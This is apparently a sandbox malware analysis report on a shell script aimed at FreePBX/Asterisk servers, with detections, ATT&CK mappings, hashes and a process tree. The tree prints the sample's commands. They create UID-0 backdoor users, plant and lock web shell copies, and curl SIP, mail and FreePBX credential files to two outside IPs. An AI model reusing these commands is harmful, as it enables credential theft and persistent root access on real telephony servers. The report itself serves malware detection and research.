2ec961162dd43e87b68abf63977c983d5c4a8dcd77caa399faa72914734d022b

Analysis

max time kernel
54s
max time network
55s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
30/07/2026, 13:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
k.php.sh
Size 48KB
Sample260730-qlgrhaswfs
SHA256 2ec961162dd43e87b68abf63977c983d5c4a8dcd77caa399faa72914734d022b
MD5 b68f0c79ebdbed24318e1e151dff026a
SHA1 f638faf3e939f3e61075478fdabb92f1604e539f
SHA512 50165dd7d5ef6fe3be238d9310146a2569d088b32d2b7d8711935607d1f9fb01f920170fd8ac43a8c84d3f2fad26017d716c0964cdbdc99f1277ac828cd663a1
SSDEEP 768:w+e9GKYpr9GKYp82fkR4nnA9GKYpr9GKYp82fkR4nnS:w+Lcr
TLSH
T158235C6516857C24AE98C4361C7E2F0CB9AD43E6324452EE7FCB3CF68C4A69DD10971D
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

antivm credential_access defense_evasion discovery persistence

Malware Config

Signatures

Modifies password files for system users/ groups 1 TTPs 8 IoCs

Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.

persistence credential_access defense_evasion

Pluggable Authentication Modules

T1556.003

description	ioc	Process
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd
File opened for modification	/etc/shadow	useradd
File opened for modification	/etc/passwd	useradd
File opened for modification	/etc/group	useradd
File opened for modification	/etc/gshadow	useradd

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
715	chmod

OS Credential Dumping 1 TTPs 2 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	useradd
File opened for reading	/etc/shadow	useradd

Adds a user to the system 4 IoCs

pid	Process
682	useradd
691	useradd
696	useradd
669	useradd

Deobfuscate/Decode Files or Information 1 TTPs 9 IoCs

Adversaries may deobfuscate or decode files or information to evade detection mechanisms.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
721	base64
731	base64
736	base64
844	base64
663	base64
680	base64
689	base64
747	base64
694	base64

Checks CPU configuration 1 TTPs 34 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	mv
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/kernel/ngroups_max	useradd
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/filesystems	ls
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/filesystems	mkdir
File opened for reading	/proc/filesystems	cp
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/self/auxv	curl

System Network Configuration Discovery 1 TTPs 20 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
846	curl
857	curl
859	curl
866	curl
868	curl
761	curl
777	curl
790	curl
800	curl
837	curl
838	curl
839	curl
856	curl
797	curl
862	curl
867	curl
751	curl
854	curl
858	curl
799	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/test.sh	k.php.sh

/tmp/k.php.sh
/tmp/k.php.sh
1⤵
- Writes file to tmp directory
PID:643
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  - Reads runtime system information
  PID:653
- /bin/bash
  bash
  2⤵
  PID:664
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    PID:669
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:673
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:674
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:676
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:678
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:663
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:680
- /bin/bash
  bash
  2⤵
  PID:681
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Modifies password files for system users/ groups
    - OS Credential Dumping
    - Adds a user to the system
    PID:682
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:684
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:685
  - - /usr/sbin/nscd
      nscd -i passwd
      4⤵
      PID:686
  - - /usr/sbin/nscd
      nscd -i group
      4⤵
      PID:687
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:689
- /bin/bash
  bash
  2⤵
  PID:690
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk newfpbx
    3⤵
    - Adds a user to the system
    PID:691
- /bin/bash
  bash
  2⤵
  PID:695
- - /usr/sbin/useradd
    useradd -s /bin/bash -ou 0 -g 0 -p ueteGJYCHeMTk xhimax
    3⤵
    - Adds a user to the system
    - Reads runtime system information
    PID:696
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:694
- /bin/mkdir
  mkdir -p /var/www/html/rest_phones/
  2⤵
  - Reads runtime system information
  PID:697
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/h/
  2⤵
  - Reads runtime system information
  PID:698
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/fpbxphones/
  2⤵
  - Reads runtime system information
  PID:699
- /bin/mkdir
  mkdir -p /var/www/html/admin/modules/phones/
  2⤵
  PID:700
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/h.php
  2⤵
  PID:701
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/rest_phones/ajax.php
  2⤵
  - Reads runtime system information
  PID:702
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/ajax.php
  2⤵
  - Reads runtime system information
  PID:703
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/ajax.php
  2⤵
  - Reads runtime system information
  PID:704
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/ajax.php
  2⤵
  - Reads runtime system information
  PID:705
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/config.php
  2⤵
  - Reads runtime system information
  PID:706
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/config.php
  2⤵
  - Reads runtime system information
  PID:707
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/config.php
  2⤵
  - Reads runtime system information
  PID:708
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/h/index.php
  2⤵
  PID:709
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/fpbxphones/index.php
  2⤵
  PID:710
- /bin/cp
  cp /var/www/html/admin/views/ajax.php /var/www/html/admin/modules/phones/index.php
  2⤵
  - Reads runtime system information
  PID:711
- /usr/bin/touch
  touch /var/www/html/admin/views/ajax.php -r /var/www/html/admin/views/footer.php
  2⤵
  PID:712
- /bin/chmod
  chmod +x /var/www/html/admin/views/ajax.php
  2⤵
  - File and Directory Permissions Modification
  PID:715
- /usr/bin/chattr
  chattr +i /var/www/html/admin/views/ajax.php
  2⤵
  PID:716
- /usr/bin/chattr
  chattr +a /var/www/html/admin/views/ajax.php
  2⤵
  PID:717
- /usr/bin/chattr
  chattr +i /var/www/html/h.php
  2⤵
  PID:718
- /usr/bin/chattr
  chattr +a /var/www/html/h.php
  2⤵
  PID:719
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:721
- /bin/bash
  bash /tmp/test.sh
  2⤵
  PID:722
- - /bin/ls
    ls -la
    3⤵
    PID:725
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:726
- - /bin/ls
    ls -ls /home
    3⤵
    PID:727
- - /bin/mkdir
    mkdir -p /var/www/html/admin/modules/freepbx_ha/
    3⤵
    - Reads runtime system information
    PID:728
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license.php /var/www/html/admin/modules/freepbx_ha/license
    3⤵
    - Reads runtime system information
    PID:729
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:731
- - /bin/rm
    rm -f /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    PID:732
- - /bin/mv
    mv /var/www/html/admin/modules/freepbx_ha/license /var/www/html/admin/modules/freepbx_ha/license.php
    3⤵
    - Reads runtime system information
    PID:733
- - /bin/ls
    ls -la
    3⤵
    - Reads runtime system information
    PID:734
- - /usr/bin/base64
    base64 -d
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:736
- - /bin/ls
    ls -la
    3⤵
    PID:737
- - /bin/cat
    cat /etc/passwd
    3⤵
    PID:738
- - /bin/ls
    ls -ls /home
    3⤵
    - Reads runtime system information
    PID:739
- /bin/rm
  rm -rf /tmp/test.sh
  2⤵
  PID:740
- /bin/bash
  bash /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:743
- /bin/rm
  rm -rf /var/spool/asterisk/tmp/test.sh
  2⤵
  PID:744
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:747
- /bin/bash
  bash
  2⤵
  PID:749
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - System Network Configuration Discovery
    PID:751
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_registrations.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:761
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/manager.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:769
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.identify.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:777
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.transports.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:790
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.aor.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:797
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.auth.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:799
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_general_additional.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:800
- - /usr/bin/curl
    curl -F "file=@/etc/postfix/sasl_passwd" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:801
- - /usr/bin/curl
    curl -F "file=@/etc/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:835
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/amportal.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:836
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:837
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_custom.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:838
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:839
- - /usr/bin/curl
    curl -F "file=@/etc/freepbx.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:840
- - /usr/bin/curl
    curl -F "file=@/etc/issabel.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    PID:841
- - /usr/bin/curl
    curl -F "file=@/etc/elastix.conf" http://45.95.147.178/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:842
- /usr/bin/base64
  base64 -d
  2⤵
  - Deobfuscate/Decode Files or Information
  PID:844
- /bin/bash
  bash
  2⤵
  PID:845
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:846
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_registrations.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:854
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/manager.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:855
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.identify.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:856
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.transports.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - System Network Configuration Discovery
    PID:857
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.aor.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:858
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.auth.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:859
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_general_additional.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:862
- - /usr/bin/curl
    curl -F "file=@/etc/postfix/sasl_passwd" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:863
- - /usr/bin/curl
    curl -F "file=@/etc/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:864
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/amportal.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    PID:865
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/pjsip.endpoint.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - System Network Configuration Discovery
    PID:866
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip_custom.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:867
- - /usr/bin/curl
    curl -F "file=@/etc/asterisk/sip.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    - System Network Configuration Discovery
    PID:868
- - /usr/bin/curl
    curl -F "file=@/etc/freepbx.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    PID:869
- - /usr/bin/curl
    curl -F "file=@/etc/issabel.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:870
- - /usr/bin/curl
    curl -F "file=@/etc/elastix.conf" http://160.119.69.4/hima_data/index.php --max-time 15
    3⤵
    - Checks CPU configuration
    - Reads runtime system information
    PID:871

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Modify Authentication Process

T1556

Pluggable Authentication Modules

T1556.003

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

passwd+

Path /etc/passwd+
Size 1KB
SHA256 7804a9bf801c95d7fc06aa3f9fc86d79c830ab728773e47c97039ae10503e411
MD5 402c4c78cd05ab84e54fd6c3afcecd4a
SHA1 e4efe63dfbf9a214ffac9960704408ab47632626
SHA512 6885ace9fe605c9bd8ff126682c954bc09f786b52d8b96556426fde1be8882e8cd86fe3b6ab2cee3bed26e1fa1e28f41494351e7a096297187c651760a3ae6f6
TLSH
T111314920032990BC9CC1E85A111F7FD414EC78D14A79FB2DDC7BA144EC9BB6C27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

passwd+

Path /etc/passwd+
Size 1KB
SHA256 1a9fa1774e7cef8530dada15004b2ca577ec490967c73215576c462845d0b3dc
MD5 796251e44d89beefde52524c5fdff5c3
SHA1 4e8ca04b0aa8476e9bb7b491527461b52feb7393
SHA512 f05fd9f7551b736a8c8729bad8b0bf177818a41449393f35a99496aa7873b580387d5605dac00f61e9294acda6eddfb54bc4ad942418af57fcdfa406c9238899
TLSH
T1D3315A10032990BC9DC1E85A111F7FD414EC78E14A79FB2DD87BA140EC8BB6C27648B4
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 949B
SHA256 0bc95deaf636031b883335796bc737c19a72e25cd241ab06155c3f1248d351c1
MD5 8dac037ba6b6db9f30d90c73cc242dc3
SHA1 760eadc595da4857fffd728d69310b5d73f0d8dd
SHA512 39c35c22784ab9682d59491ddca2dbe3e187317e14be4e7f25043d6a61e6893a496fb96dbe212b1d308124fe755691b28a655a75fd91970313075ba7f311a630
TLSH
T1E3119F80633CFC4983E654DD618202D9E6EBAC3502B8D18FC82289374EB48E61719CB6
MD5 SHA1 SHA512 TLSH

Submit Download

shadow+

Path /etc/shadow+
Size 909B
SHA256 f6d90c4cb8273b533c250fa03ec4695404b5f19d986ad861c080452755881d7f
MD5 35862cd7da5877be6ea64bbd4f1d00f7
SHA1 bec1f72283f16875f44d647df87e8125016b8fe5
SHA512 542a1e676e79340754a4ef330404ef8a0244a0b2cc20179677b5c8c75447a51e91c344671523b3fb3c69232580b09e3105698f6ca847614c695cb257f3c8aca7
TLSH
T17B117080633CFC5843E510DD619202D9D6EB6C3502B8D18FC82689774EB48E61719CB6
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 59B
SHA256 da8f26f0a2ae8764c3e20dc22bc65cca4e3484540596ef7ceaafac71c26abd7c
MD5 5c9e3004d1697716b1cb75f242c2beea
SHA1 5f0a26471d327b6e2fe3fb5e495b6b193da2e7f2
SHA512 e6fb56cb30f70aa40b4a8d328240748c45e8810f88c606b4573f30cad9db820dc7d0ecc8d7cc784fe386f58f9095adde0131c605bd1a5417e887ca0b81d406ff
TLSH
T1CCA002000217A1C0C1D35504440D93AD312175D3D4C0B868C254E55606B05714450251
MD5 SHA1 SHA512 TLSH

Submit Download

subuid+

Path /etc/subuid+
Size 39B
SHA256 9316f27c6431ca1472e0bbdc728ecd20cb7eab44fd03b2a04f6d643e99a24e89
MD5 d706ba86b3fd8589ecb5aa198e1e3cbf
SHA1 12fc273031b205c1527045d5c923d657378802f5
SHA512 ddbf918aaaa0b2914f7a39b6d9f6824d99232bc53491cdf931bc683ae54400b05a7eaa2667c752279e9f45fbd30279ac596acbbbc523abad69d21c156f58b1d0
MD5 SHA1 SHA512

Submit Download

test.sh

Path /tmp/test.sh
Size 12KB
SHA256 20d80d9403f12e730915bf419cdd8f65d1ee09ebfe5f2f382f2d8aa0511ea4ab
MD5 8f7541228c408eb56be12b0e084f80ef
SHA1 7075c8d6693cfaa96ecb5b8bf1685100f89ed753
SHA512 3cb80a5b751c5d29216af3363315845409bfdcad53fa21d24bfe8ed6fdabc28065223dfbc84e23ff66cb0cb3b22f9ae11de0ca240905324d76a8cdc4231d898d
SSDEEP 384:zro/A8C1cJlJoro/A8C1cJlJqro/A8C1cJlJrrA:eJlJLJnrA
TLSH
T15342D783466F6175A2093FEB58FC6F9C7BE68B4E34E2282525163DA8018DD0FD4B4A5C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads